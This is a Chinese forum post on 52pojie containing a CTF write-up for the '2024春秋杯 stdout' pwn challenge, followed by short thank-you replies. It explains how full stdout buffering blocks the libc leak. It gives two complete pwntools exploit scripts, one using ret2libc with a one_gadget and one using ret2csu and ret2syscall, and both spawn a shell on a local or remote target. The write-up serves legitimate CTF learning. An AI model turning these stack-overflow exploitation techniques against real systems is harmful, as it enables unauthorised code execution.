吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1179|回复: 16
收起左侧

[CTF] 2024春秋杯 stdout

  [复制链接]
Zst0ry 发表于 2024-7-9 19:27
本帖最后由 Zst0ry 于 2024-7-9 19:29 编辑

考点:文件,setvbuf缓冲区,ret2syscall,ret2csu

题目给了libc文件。
main函数和vlun函数存在明显的栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  init(argc, argv, envp);
  puts("where is my stdout???");
  read(0, buf, 0x60uLL);
  return 0;
}
ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x200uLL);
}

解1

直接从main跳到vuln,然后写了got地址、libc地址,ret2libc收工。
然后老是泄露不出来。。。
原因是setvbuf设置了stdout全缓冲:

int init()
{
  setvbuf(stdout, 0LL, 0, 0LL);
  return setvbuf(stdin, 0LL, 2, 0LL);
}

setvbuf函数,它有三种mode:

全缓冲:(_IOFBF)0,缓冲区满 或 调用fflush() 后输出缓冲区内容。
行缓冲:(_IOLBF)1,缓冲区满 或 遇到换行符 或 调用fflush() 后输出缓冲区内容。
无缓冲:(_IONBF)2,直接输出。
也就是说,要想使缓冲区的got地址打印出来,有以下思路:

  1. 重新设置setvbuf,但这不知道管不管用,没法尝试因为这需要4个参数,没法控制rdx和rcx
  2. 调用fflush(stdout),但是需要泄露libc地址,死循环,这里做不到
  3. 挤爆缓冲区,自然就会把内容打印出来了
    这里只有第三种思路是可行的。

但是实际操作的时候,本地可以getshell,但是远程不行,寄!
另外,system("/bin/sh")不行,但是one_gadget可以。

Exp
from pwn import *
import sys

if len(sys.argv) == 3:
    ip = sys.argv[1]
    port = sys.argv[2]
    sh = remote(ip,port)
else:
    sh = process("./pwn")

elf = ELF("./pwn")
# libc = elf.libc
libc = ELF("./libc-2.31.so")
# libc = ELF("./libc.so.6")

# context(os="linux",arch="amd64",log_level="debug")
#gdb.attach(sh)

offset1 = 0x50+8
vuln = 0x40125D
offset2 = 0x20+8
pop_rdi = 0x00000000004013d3 # pop rdi ; ret
ret = 0x000000000040101a # ret
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
extend = elf.symbols["extend"]
hello = 0x402032
just = 0x402008

sh.send(b"a"*offset1 + p64(vuln))
sleep(1)

payload = b'b'*(offset2) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(hello) + p64(puts_plt)+ p64(vuln) + p64(vuln)
sh.send(payload)
recv_data = sh.recv(timeout=1)
print("----",len(recv_data))
i = 0 
# 用while或者for都行
# while len(recv_data) == 0:
#     payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)
#     # sleep(1)
#     sh.send(payload)
#     print(i)
#     wait = 1
#     if i == 29:
#         wait = 3
#     recv_data = sh.recv(numb=48,timeout=wait)
#     i = 1 + i
for i in range(0):
    payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)
    sleep(1)
    sh.send(payload)
    print(i)

recv_data = sh.recv()

# print(sh.recv())
puts_addr = u64(recv_data.split(b"hello")[0].split(b'\n')[1].ljust(8,b"\x00"))
print(recv_data.split(b"hello")[0])
print(hex(puts_addr))
pause()
# pause()
# puts_addr = u64(sh.recvuntil(b"\x7f")[-6:])
# print(puts_addr)
puts_offset = libc.symbols["puts"]
libc_base = puts_addr - puts_offset
system = libc_base + libc.symbols["system"]
bin_sh = next(libc.search(b"/bin/sh\x00")) + libc_base

print("bin_sh--",hex(bin_sh)," system--",hex(system))

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xe3afe,0xe3b01,0xe3b04]
pop_r15_r12 = 0x00000000004013cc # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

# payload = b'a'*(offset2) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(ret)+ p64(system)
payload = b'a'*offset2 + p64(pop_r15_r12) + p64(0) * 4 + p64(one_gadget[0] + libc_base)
#payload = flat([b'a'*offset2,pop_r15_r12,0,0,0,0,one_gadget[0]+libc_base])
sh.send(payload)
sh.interactive()

1.png
有一篇类似的题目writeup
https://mp.weixin.qq.com/s/hBzkylk58OoXWlQ7e8ipcQ

解2

控制读入binsh,修改setvbuf低位为syscall,通过read修改,然后read读入赋给rax为0x3b,csu跳到syscall执行
写入/bin/sh不难,写到bss段即可
修改setvbuf低位为syscall,这个是相邻函数存在着syscall
2.png
3.png
read函数的返回值是读入数据的长度,存放在rax。
通过ret2csu执行syscall

# csu1

.text:00000000004013CA 5B                            pop     rbx
.text:00000000004013CB 5D                            pop     rbp
.text:00000000004013CC 41 5C                         pop     r12
.text:00000000004013CE 41 5D                         pop     r13
.text:00000000004013D0 41 5E                         pop     r14
.text:00000000004013D2 41 5F                         pop     r15
.text:00000000004013D4 C3                            retn

# csu2

.text:00000000004013B0 4C 89 F2                      mov     rdx, r14
.text:00000000004013B3 4C 89 EE                      mov     rsi, r13
.text:00000000004013B6 44 89 E7                      mov     edi, r12d
.text:00000000004013B9 41 FF 14 DF                   call    qword ptr [r15+rbx*8]

先执行csu1,然后通过ret跳转执行csu2,最后call [r15]
rbx:取0,方便后面call的时候控制地址
rbp:没啥用,取0
r12:mov给rdi-->mov edi, r12d,rdi高位都是0
r13:传给rsi
r14:传给rdx
r15:放入的值应该是存放了要执行函数地址的指针,如放入某个got地址,其指向的则是函数的真实地址,call的时候就回去执行该函数
本地不行,远程可以,6!
Exp

from pwn import *
import sys

if len(sys.argv) == 3:
    ip = sys.argv[1]
    port = sys.argv[2]
    sh = remote(ip,port)
else:
    sh = process("./pwn")

libc = ELF("./libc-2.31.so")
elf = ELF("./pwn")

context(os="linux",arch="amd64",log_level="debug")
# gdb.attach(sh,"b *0x401348")

offset1 = 0x50+8
offset2 = 0x20+8
bss = 0x404070 + 0x100
read_plt = elf.plt["read"]
setvbuf_got = elf.got["setvbuf"]
pop_rsi_r15 = 0x00000000004013d1 # pop rsi ; pop r15 ; ret
pop_rdi = 0x00000000004013d3 # pop rdi ; ret
csu1 = 0x4013CA
csu2 = 0x4013B0
vuln = 0x40125D
payload1 = b"a"*offset1 + p64(vuln)
sh.send(payload1)

# call read
payload2 = b"a"*offset2 + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt) + p64(vuln)
payload2 = payload2.ljust(0x200,b"\x00") # vuln--->read(0, buf, 0x200uLL)
sh.send(payload2)
sleep(1)
# write "/bin/sh\x00" to bss
sh.send(b"/bin/sh\x00")

payload3 = b"a"*offset2+p64(pop_rsi_r15)+p64(setvbuf_got)+p64(0)+p64(read_plt)
payload3 += p64(pop_rsi_r15)+p64(bss+0x200)+p64(0)+p64(read_plt)
payload3 += p64(csu1)+p64(0)*1+p64(1)+p64(bss)+p64(0)*2+p64(setvbuf_got)+p64(csu2)
# 0--rbx,bss--r12d--edi,0--r13--rsi,0--r14--rdx,setvbuf_got--r15--call [r15+0*8]
# payload3 += payload3.ljust(0x200,b"\x00")
pause()
sh.send(payload3)
sleep(1)
# change setvbuf to syscall
sh.send(b"\xc9")
pause()
sh.send(b"c"*0x3b)
# read return length of inputed data,rax
# rax==>59 sys_execve rdi==>const char *filename,rsi==>const char *const argv[],rsi==>const char *const envp[]

sh.interactive()

'''
Gadgets information
============================================================
0x00000000004013cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013d0 : pop r14 ; pop r15 ; ret
0x00000000004013d2 : pop r15 ; ret
0x00000000004013cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011fd : pop rbp ; ret
0x00000000004013d3 : pop rdi ; ret
0x00000000004013d1 : pop rsi ; pop r15 ; ret
0x00000000004013cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret

csu1
=============================================================
.text:00000000004013CA 5B                            pop     rbx
.text:00000000004013CB 5D                            pop     rbp
.text:00000000004013CC 41 5C                         pop     r12
.text:00000000004013CE 41 5D                         pop     r13
.text:00000000004013D0 41 5E                         pop     r14
.text:00000000004013D2 41 5F                         pop     r15
.text:00000000004013D4 C3                            retn

csu2
==============================================================
.text:00000000004013B0 4C 89 F2                      mov     rdx, r14
.text:00000000004013B3 4C 89 EE                      mov     rsi, r13
.text:00000000004013B6 44 89 E7                      mov     edi, r12d
.text:00000000004013B9 41 FF 14 DF                   call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
'''

参考:
https://www.cnblogs.com/imarch22/p/18288087#stdout
https://www.mrskye.cn/archives/eedef7bd/
https://xkaneiki.github.io/2020/10/23/unexploitable/
https://cloud.tencent.com/developer/article/2063693

免费评分

参与人数 6吾爱币 +4 热心值 +5 收起 理由
Issacclark1 + 1 谢谢@Thanks!
zhangxuerui + 1 热心回复!
nonefree + 1 + 1 用心讨论,共获提升!
为之奈何? + 1 + 1 我很赞同!
lovetozmx + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
HongHu106 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Lty20000423 发表于 2024-7-10 07:44
感谢分享
cjf11 发表于 2024-7-10 08:59
a948423110 发表于 2024-7-10 10:14
dream1991 发表于 2024-7-10 10:24
感谢分享
ixiaobaii 发表于 2024-7-10 10:34
感谢分享
fengyuan2210 发表于 2024-7-10 10:35
虽然看的有点懂,但还是要认真学习,不要像某些人那样是是而非。
zql136236 发表于 2024-7-10 10:41
虽然看不懂,还是很感谢大神分享
Helloalp 发表于 2024-7-10 10:54
好复杂qwq
anxingye 发表于 2024-7-10 11:01

像大神学习,感谢大神分享,跟上脚步
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-7-23 10:29

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表